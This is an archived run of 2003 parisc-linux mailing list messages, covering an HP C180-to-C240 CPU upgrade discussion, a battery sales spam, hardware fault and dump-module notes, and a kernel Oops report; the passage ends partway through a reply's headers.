List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18376

--0-177053345-1052064933=:44529
Content-Type: text/plain; charset=us-ascii

You are also going to have a problem with the serial number, product number, and software ID on the board.  They have to be set in the EEPROM of the new board and only an HP engineer can program those item in the new board.  The program we use to set those items is not licensed to anyone, including channel partners that fix some of our workstations.  Without these items set the machine may complete selftest, but will not boot.  More than likely it will complain at the BCH about not having a valid serial number or SWID.  They are right about the power supply too, the C240 has a bigger power supply.  The I/O backplane on the C240 is WSE and not HVD like the C180.  I really think you would have problems trying to do this upgrade yourself.  The memory would transfer over even though the C200-C
 360 use a 50ns memory and the C110-C180 use 60ns memery. derek

Berthold Gunreben <b.gunreben@web.de> wrote:Am Sonntag, 4. Mai 2003 06:17 schrieb Matthew Wilcox:
> On Sat, May 03, 2003 at 07:54:57PM -0800, Tom wrote:
> > I found one of these kits on eBay - C200 to C240 upgrade, CPU on
> > mainboard. Do any of the HP techs around here know if it'll also fit a
> > C180? It'd be nice to drop a large performance upgrade into it for not
> > much cash...
>
> Well... it'll _fit_. Whether firmware will work properly is anyone's
> guess. There's various differences between the C180 and C200 that
> make this combination not sure to succeed. My personal opinion (and
> not speaking on behalf of my emplyer) is that it's going to work 90%.

I dont think you will be very happy with it. One of the bigger problems will 
be your power supply. The C240 has a much stronger power supply (at least the 
one that I have) than the C180. 

> Maybe the onboard scsi controller won't be initialised properly.
> Maybe the missing bit of init won't make any difference to Linux or
> maybe it'll start corrupting data. It's a bit of a gamble.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

---------------------------------
Do you Yahoo!?
The New Yahoo! Search - Faster. Easier. Bingo.
--0-177053345-1052064933=:44529
Content-Type: text/html; charset=us-ascii

<DIV>You are also going to have a problem with the serial number, product number, and software ID on the board.&nbsp; They have to be set in the EEPROM of the new board and only an HP engineer can program those item in the new board.&nbsp; The program we use to set those items is not licensed to anyone, including channel partners that fix some of our workstations.&nbsp; Without these items set the machine may complete selftest, but will not boot.&nbsp; More than likely it will complain at the BCH about not having a valid serial number or SWID.&nbsp; They are right about the power supply too, the C240 has a bigger power supply.&nbsp; The I/O backplane on the C240 is WSE and not HVD like the C180.&nbsp; I really think you would have problems trying to do this upgrade yourself.&nbsp; The memo
 ry would transfer over even though the C200-C360 use a 50ns memory and the C110-C180 use 60ns memery.</DIV>
<DIV>&nbsp;</DIV>
<DIV>derek<BR><BR><B><I>Berthold Gunreben &lt;b.gunreben@web.de&gt;</I></B> wrote:</DIV>
<BLOCKQUOTE style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #1010ff 2px solid">Am Sonntag, 4. Mai 2003 06:17 schrieb Matthew Wilcox:<BR>&gt; On Sat, May 03, 2003 at 07:54:57PM -0800, Tom wrote:<BR>&gt; &gt; I found one of these kits on eBay - C200 to C240 upgrade, CPU on<BR>&gt; &gt; mainboard. Do any of the HP techs around here know if it'll also fit a<BR>&gt; &gt; C180? It'd be nice to drop a large performance upgrade into it for not<BR>&gt; &gt; much cash...<BR>&gt;<BR>&gt; Well... it'll _fit_. Whether firmware will work properly is anyone's<BR>&gt; guess. There's various differences between the C180 and C200 that<BR>&gt; make this combination not sure to succeed. My personal opinion (and<BR>&gt; not speaking on behalf of my emplyer) is that it's going to work 90%.<BR><BR>I don
 t think you will be very happy with it. One of the bigger problems will <BR>be your power supply. The C240 has a much stronger power supply (at least the <BR>one that I have) than the C180. <BR><BR>&gt; Maybe the onboard scsi controller won't be initialised properly.<BR>&gt; Maybe the missing bit of init won't make any difference to Linux or<BR>&gt; maybe it'll start corrupting data. It's a bit of a gamble.<BR><BR>_______________________________________________<BR>parisc-linux mailing list<BR>parisc-linux@lists.parisc-linux.org<BR>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux</BLOCKQUOTE><p><hr SIZE=1>
Do you Yahoo!?<br>
<a href="http://us.rd.yahoo.com/search/mailsig/*http://search.yahoo.com">The New Yahoo! Search</a> - Faster. Easier. Bingo.
--0-177053345-1052064933=:44529--


From - Thu Nov 08 21:27:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chuck Slivkoff <caslivkoff@speakeasy.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] {kinda OT] A4947A applicability? and FC driver
 work
Date: Sun, 04 May 2003 12:43:40 -0400
Lines: 135
Approved: news@gmane.org
Message-ID: <3EB5433C.7020207@speakeasy.net>
References: <1052020498.27841.7.camel@daily> <20030504041715.GH31610@parcelfarce.linux.theplanet.co.uk> <200305041008.49439.b.gunreben@web.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
 boundary="------------040800080004010803000507"
X-Trace: ger.gmane.org 1416622424 25372 80.91.229.3 (22 Nov 2014 02:13:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: tom@alaskatech.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May  4 10:43:43 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.speakeasy.net (mail16.speakeasy.net [216.254.0.216])
	by dsl2.external.hp.com (Postfix) with ESMTP id 27116483B
	for <parisc-linux@lists.parisc-linux.org>; Sun,  4 May 2003 10:43:43 -0600 (MDT)
Original-Received: (qmail 7663 invoked from network); 4 May 2003 16:43:47 -0000
Original-Received: from unknown (HELO speakeasy.net) (caslivkoff@[216.27.161.152])
          (envelope-sender <caslivkoff@speakeasy.net>)
          by mail16.speakeasy.net (qmail-ldap-1.03) with RC4-MD5 encrypted SMTP
          for <tom@alaskatech.org>; 4 May 2003 16:43:47 -0000
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3) Gecko/20030430 Debian/1.3-5
X-Accept-Language: en-us, en
In-Reply-To: <200305041008.49439.b.gunreben@web.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18377

This is a multi-part message in MIME format.
--------------040800080004010803000507
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable

Berthold Gunreben wrote:

>Am Sonntag, 4. Mai 2003 06:17 schrieb Matthew Wilcox:
> =20
>
>>On Sat, May 03, 2003 at 07:54:57PM -0800, Tom wrote:
>>   =20
>>
>>>I found one of these kits on eBay - C200 to C240 upgrade, CPU on
>>>mainboard. Do any of the HP techs around here know if it'll also fit a=

>>>C180? It'd be nice to drop a large performance upgrade into it for not=

>>>much cash...
>>>
If you can navigate your was through docs.hp.com, you can find these=20
manuals (PDF):

    installing the hp Visualize workstation c100, c110, c160, c180 to=20
c200 CPU upgrade (a4200-900xx)
    installing the hp Visualize workstation c200 to c240 CPU upgrade=20
(a4200-90035)

at this excessively long URL:

  http://h20000.www2.hp.com/bizsupport/TechSupport/DocumentIndex.jsp?
  contentType=3DSupportManual&locale=3Den_US&prodTypeId=3D12454&
  prodSeriesId=3D76204&taskId=3D130&prodSeriesId=3D76204&docIndexId=3D120=
917

>>Well... it'll _fit_.  Whether firmware will work properly is anyone's
>>guess. There's various differences between the C180 and C200 that
>>make this combination not sure to succeed.  My personal opinion (and
>>not speaking on behalf of my emplyer) is that it's going to work 90%.
>>   =20
>>
>
>I don=B4t think you will be very happy with it. One of the bigger proble=
ms will=20
>be your power supply. The C240 has a much stronger power supply (at leas=
t the=20
>one that I have) than the C180.=20
>
IIRC, the main reason for the larger power supply in the C200 (& up) was =

to support the Visualize FX-6 graphics interface (which has 3=20
PA-8000-based geometry engines & is not supported under Linux). I=20
believe the board will fit and as long as the power connections are the=20
same, it will probably work. But, there may still be hooks in the=20
firmware to detect the larger power supply. I might know someone who can =

answer this, but it would probably take a few days.

BTW, the service manual for the C-xxx models are available on that same U=
RL.



--------------040800080004010803000507
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
  <meta http-equiv="Content-Type" content="text/html;charset=ISO-8859-1">
  <title></title>
</head>
<body>
Berthold Gunreben wrote:<br>
<blockquote type="cite" cite="mid200305041008.49439.b.gunreben@web.de">
  <pre wrap="">Am Sonntag, 4. Mai 2003 06:17 schrieb Matthew Wilcox:
  </pre>
  <blockquote type="cite">
    <pre wrap="">On Sat, May 03, 2003 at 07:54:57PM -0800, Tom wrote:
    </pre>
    <blockquote type="cite">
      <pre wrap="">I found one of these kits on eBay - C200 to C240 upgrade, CPU on
mainboard. Do any of the HP techs around here know if it'll also fit a
C180? It'd be nice to drop a large performance upgrade into it for not
much cash...</pre>
    </blockquote>
  </blockquote>
</blockquote>
If you can navigate your was through docs.hp.com, you can find these
manuals (PDF):<br>
<br>
&nbsp;&nbsp;&nbsp; installing the hp Visualize workstation c100, c110, c160, c180 to
c200 CPU upgrade (a4200-900xx)<br>
&nbsp;&nbsp;&nbsp; installing the hp Visualize workstation c200 to c240 CPU upgrade
(a4200-90035)<br>
<br>
at this excessively long URL:<br>
<br>
&nbsp; <a class="moz-txt-link-freetext" href="http://h20000.www2.hp.com/bizsupport/TechSupport/DocumentIndex.jsp">http://h20000.www2.hp.com/bizsupport/TechSupport/DocumentIndex.jsp</a>?<br>
&nbsp; contentType=SupportManual&amp;locale=en_US&amp;prodTypeId=12454&amp;<br>
&nbsp;
prodSeriesId=76204&amp;taskId=130&amp;prodSeriesId=76204&amp;docIndexId=120917<br>
<br>
<blockquote type="cite" cite="mid200305041008.49439.b.gunreben@web.de">
  <blockquote type="cite">
    <pre wrap="">Well... it'll _fit_.  Whether firmware will work properly is anyone's
guess. There's various differences between the C180 and C200 that
make this combination not sure to succeed.  My personal opinion (and
not speaking on behalf of my emplyer) is that it's going to work 90%.
    </pre>
  </blockquote>
  <pre wrap=""><!---->
I don&acute;t think you will be very happy with it. One of the bigger problems will 
be your power supply. The C240 has a much stronger power supply (at least the 
one that I have) than the C180. </pre>
</blockquote>
IIRC, the main reason for the larger power supply in the C200 (&amp;
up) was to support the Visualize FX-6 graphics interface (which has 3
PA-8000-based geometry engines &amp; is not supported under Linux). I
believe the board will fit and as long as the power connections are the
same, it will probably work. But, there may still be hooks in the
firmware to detect the larger power supply. I might know someone who
can answer this, but it would probably take a few days.<br>
<br>
BTW, the service manual for the C-xxx models are available on that same
URL.<br>
<br>
<br>
</body>
</html>

--------------040800080004010803000507--



From - Thu Nov 08 21:27:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: sam <sam@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Sell NI-MH battery
Date: Mon, 05 May 2003 11:21:56 +0800
Lines: 87
Approved: news@gmane.org
Message-ID: <20030505031955.69E8E483C@dsl2.external.hp.com>
Reply-To: sam@dsl2.external.hp.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="873aec25-0dcf-4335-a517-6e8c017c0b01"
X-Trace: ger.gmane.org 1416622424 25373 80.91.229.3 (22 Nov 2014 02:13:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:44 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May  4 21:19:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from 43.21.53.05 (unknown [218.18.228.32])
	by dsl2.external.hp.com (Postfix) with SMTP id 69E8E483C
	for <parisc-linux@parisc-linux.org>; Sun,  4 May 2003 21:19:55 -0600 (MDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18378

This is a multi-part message in MIME format
--873aec25-0dcf-4335-a517-6e8c017c0b01
Content-Type: text/plain; charset=gb2312
Content-Transfer-Encoding: quoted-printable

Dear All 

We can provide all kinds of NI-MH battery for you .Shenzhen High Power =
Technology CO., Ltd specializes in designing, manufacturing and marketing =
environment-friendly rechargeable battery-----Nickel Metal Hydride (Ni-MH) =
battery which is widely used in mobile phone, digital camera,cordless phone, =
R/C toys, emergency light, MP3 players, PDAs,power tools etc.

Type	Model	Size	capacity (mAh)
A	HFR-28A1000	2/3A	1000
	HFR-43A1700	4/5A	1700
	HFR-43A1800	4/5A	1800
	HFR-50A2000	A	2000
	HFR-50A2200	A	2200
	HFR-67A2800	7/5A	2800
	HFR-67A3300	7/5A	3300
AA	HFR-28AA650	2/3AA	650
	HFR-28AA750	2/3AA	750
	HFR-43AA1100	4/5AA	1100
	HFR-43AA1200	4/5AA	1200
	HFR-49AA1300	AA	1300
	HFR-49AA1500	AA	1500
	HFR-50AAJ1600	AA	1600
	HFR-50AAJ1800	AA	1800
	HFR-50AAJ2000	AA	2000
AAA	HFR-11AAA80	1/4AAA	80
	HFR-15AAA120	1/3AAA	120
	HFR-20AAA200	1/2AAA	200
	HFR-28AAA300	2/3AAA	300
	HFR-35AAA400	4/5AAA	400
	HFR-43AAA600	AAA	600
	HFR-44AAAJ650	AAA	650
	HFR-44AAA650	AAA	650
	HFR-50AAA700	L-AAA	700
	HFR-50AAA750	L-AAA	750
	HFR-67AAA900	LL-AAA	900
	HFR-67AAA950	LL-AAA	950
AAAA	HFR-38AAAA270	38AAAA	270
	HFR-51AAAA400	51AAAA	400
	HFR-66AAAA550	66AAAA	550
SC	HFR-43SC3000	SC	3000
C	HFR-50C4000	C	4000
D	HFR-60D8000	D	8000
F	HFR-90F11000	F	11000
Prismatic Cell Series			
HF	HFR-29F4-400	29F4-400	400
	HFR-35F5-500	35F5-500	500
	HFR-35JF5-700	35JF5-700	700
	HFR-39JF5-850	39JF5-850	850
	HFR-48F6-750	48F6-750	750
	HFR-67F8-1100	67F8-1100	1100

More information please visit our website : http://www.haopengbattery.com

we accept OEM/ODM .Thanks & very much .

This is a automatic mail system if It interrupt I am sorry . and please =
cancel it  .

Best regards

Sam 
Website : http://www.haopengbattery.com
E-mail  : samwei@vip.sina.com

Shenzhen High Power Technology CO., Ltd 
ADD=A3=BABldg A2,Luoshan Industrial =
Zone,Shanxia,Pinghu,Longgang,Shenzhen,Guangdong,China.
TEL=A3=BA(86 755)84652098 84652068 84652238   FAX=A3=BA(86 755)84651866 =
84652298
   

----------------------------------------------------
    DEMO=B0=E6=B1=BE=B7=A2=CB=CD    
----------------------------------------------------




--873aec25-0dcf-4335-a517-6e8c017c0b01--



From - Thu Nov 08 21:27:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Program counter from sigcontext, constructurs and -fPIC
Date: Mon, 5 May 2003 08:08:53 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <3EA84287000032CA@ocpmta2.freegates.net>
References: <3EB42B20.1010504@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622424 25375 80.91.229.3 (22 Nov 2014 02:13:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May  5 00:08:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id C5911483F
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 May 2003 00:08:57 -0600 (MDT)
Original-Received: from mail by smtp-out.tiscali.be with dcc (Tiscali) 
	id 19CZ9i-0000RM-00; Mon, 05 May 2003 08:08:54 +0200
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19CZ9i-0000RI-00; Mon, 05 May 2003 08:08:54 +0200
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 5 May 2003 08:08:53 +0200
In-Reply-To: <3EB42B20.1010504@tiscali.be>
X-DCC-neonova-Metrics: spm3 1127; Body=2 Fuz1=2 Fuz2=2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18379

Hi Carlos,

>
>That said, I suspect more another hw pb (it is not the first time with 
>this b2k model on which hp had already have to replace the cpu) or a bug
>
Definitely it must be a HW pb: I read back the very last pim info that I
grab with minicom I find:
...
Memory/IO Controller Error Analysis Information:

                 Occurs
...
        Runway Addr = 0xc13ff0 f0f000cd0a
...

Even thought this messages seems to be OS independant (PDC only IMHO?), I
will so come back to hpux with the hope that pb re-occurs and that I can
open a HW call neer HP.

Regards,
    Joel

---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be





From - Thu Nov 08 21:27:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] dump module: new feature
Date: Mon, 05 May 2003 13:07:57 +0200
Organization: H.P
Lines: 18
Approved: news@gmane.org
Message-ID: <3EB6460D.6040704@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622425 25378 80.91.229.3 (22 Nov 2014 02:13:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:45 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May  5 05:08:05 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id D4C9C4882
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 May 2003 05:08:04 -0600 (MDT)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id E28BD6E
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 May 2003 13:08:02 +0200 (METDST)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2])
	by hpfrcu03.france.hp.com (8.9.3 (PHNE_26305+JAGae58098)/8.9.3 SMKit7.02) with ESMTP id NAA08761
	for <parisc-linux@lists.parisc-linux.org>; Mon, 5 May 2003 13:07:57 +0200 (METDST)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.2) Gecko/20030208 Netscape/7.02
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18380

	Hi
For people who are intersting to it, the dump modules
is now checking that it is a swap device before
configuring it. So it remove the risk to dump
to a file system. It check for the swap magic
"SWAP-SPACE" (v0) or "SWAPSPACE2" (v1). The
partition is not necessary an active one,
it should only be created by mkswap (so no
file system on it).

	Cheers.

-- 
	Vidal Bruno, (770-4271)
         SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com



From - Thu Nov 08 21:27:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Oops on 2.4.20-pa33
Date: Mon, 5 May 2003 22:02:51 +0200
Lines: 63
Approved: news@gmane.org
Message-ID: <20030505200251.GS27494@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="GFHULmA0mO3kKGOo"
X-Trace: ger.gmane.org 1416622425 25379 80.91.229.3 (22 Nov 2014 02:13:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:45 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May  5 14:02:53 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id DD6A1482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 May 2003 14:02:52 -0600 (MDT)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id 9C7A94AB98; Mon,  5 May 2003 22:02:51 +0200 (CEST)
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18381

--GFHULmA0mO3kKGOo
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi!

I've tried to compile/boot current 2.4.x CVS, but it Oopsed. I noted
down what looked really important (this is, IAOQ, r02 and kernel
addresses from stack). This is what I resolved out of System.map:

IAOQ:   10224658        __canonicalize_funcptr_for_compare
r02:    101229d4        do_sigaction

Kernel addresses on stack:
        1013a278        dentry_open
        10131a38        __kmem_cache_alloc
        101229d4        do_sigaction
        10102a9c        handle_interruption
        10122dc8        sys_rt_sigaction
        10107f90        syscall_exit
        10107084        intr_check_sig
        10106cf4        _switch_to_ret
        1013be10        chrdev_open
        1013a278        dentry_open
        1014aba8        locate_fd
        1011b530        it_real_fn

Seems I cannot really find it:)

b132l-1:~# gcc -v
Reading specs from /usr/lib/gcc-lib/hppa-linux/3.2.3/specs
Configured with: ../src/configure -v --enable-languages=3Dc,c++,f77,objc,ad=
a --prefix=3D/usr --mandir=3D/usr/share/man --infodir=3D/usr/share/info --w=
ith-gxx-include-dir=3D/usr/include/c++/3.2 --enable-shared --with-system-zl=
ib --enable-nls --without-included-gettext --enable-__cxa_atexit --enable-c=
locale=3Dgnu --enable-objc-gc hppa-linux
Thread model: posix
gcc version 3.2.3

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
      ret =3D do_actions((curr | FREE_SPEECH) & ~(IRAQ_WAR_2 | DRM | TCPA));

--GFHULmA0mO3kKGOo
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQE+tsNrHb1edYOZ4bsRAiNHAKCHWuD74ISfWCcK0oGVJqP1Vdfw7wCePNFu
MMsphhbTmuZKURinL8jIt3M=
=fJVe
-----END PGP SIGNATURE-----

--GFHULmA0mO3kKGOo--


From - Thu Nov 08 21:27:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Oops on 2.4.20-pa33
Date: Mon, 5 May 2003 16:10:41 -0400 (EDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <200305052010.h45KAgos029626@hiauly1.hia.nrc.ca>
References: <20030505200251.GS27494@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622425 25383 80.91.229.3 (22 Nov 2014 02:13:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jbglaw@lug-owl.de (Jan-Benedict Glaw)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May  5 14:10:44 2003
